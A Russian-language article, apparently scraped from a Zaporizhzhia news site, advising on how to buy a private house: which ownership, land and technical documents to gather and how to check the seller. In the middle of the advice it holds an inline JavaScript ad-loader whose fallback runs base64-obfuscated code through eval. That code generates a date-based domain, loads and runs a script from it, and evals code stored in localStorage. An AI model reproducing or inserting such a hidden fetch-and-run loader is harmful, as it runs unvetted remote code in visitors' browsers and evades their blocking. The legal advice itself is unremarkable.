Проживание в частном доме имеет много преимуществ и положительных моментов, но к его покупке нужно тщательно подготовиться. Поэтому, прежде чем начать поиск на сервисе OLX, чтобы купить дом Запорожье, лучше изучить некоторые важные особенности.
Документы для покупки жилого дома 
Покупая жилой дом, вы одновременно покупаете и земельный участок, на котором он расположен. Поэтому документация должна быть на жилое строение и землю. В основной список юридических бумаг входят:
документ, подтверждающий право владения жилым строением;техпаспорт дома;выписка из реестра прав собственности;документ, подтверждающий личность продавца;акт о вводе постройки в эксплуатацию;специальное разрешение, если в доме прописаны несовершеннолетние или лица, проходящие воинскую службу;акт, подтверждающий право владения земельным участком;разрешение опекунского органа, если одним из владельцев является несовершеннолетний ребенок.
Каждая юридическая сделка купли-продажи жилого строения индивидуальна, поэтому желательно предварительно проконсультироваться с юристом и нотариусом. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Правила благополучной покупки дома
Для успешной и безопасной покупки жилья следует придерживаться некоторых правил. К основным из них относятся:
проверка подлинности документов, подтверждающих личность продавца и его семейный статус;наличие официального согласия супруги, если имущество было приобретено в браке, а также несовершеннолетних детей, если они являются совладельцами имущества;изучение истории вступления в права собственности продавца и его психическое и физическое здоровье;проверка технического состояния жилого строения.
Вне зависимости от того, нового или старого образца является правоустанавливающий документ на владение имуществом, он подтверждает факт правового существования жилого объекта и его соответствие нормам строительства. С начала 2016 года новый порядок регистрации недвижимого имущества позволяет подтверждать документы через интернет-ресурс. Кроме этого, при покупке обязательно сверьте данные плана и площади постройки в техническом паспорте с реальными данными.
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/kak-gramotno-podgotovitsya-k-pokupke-doma/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
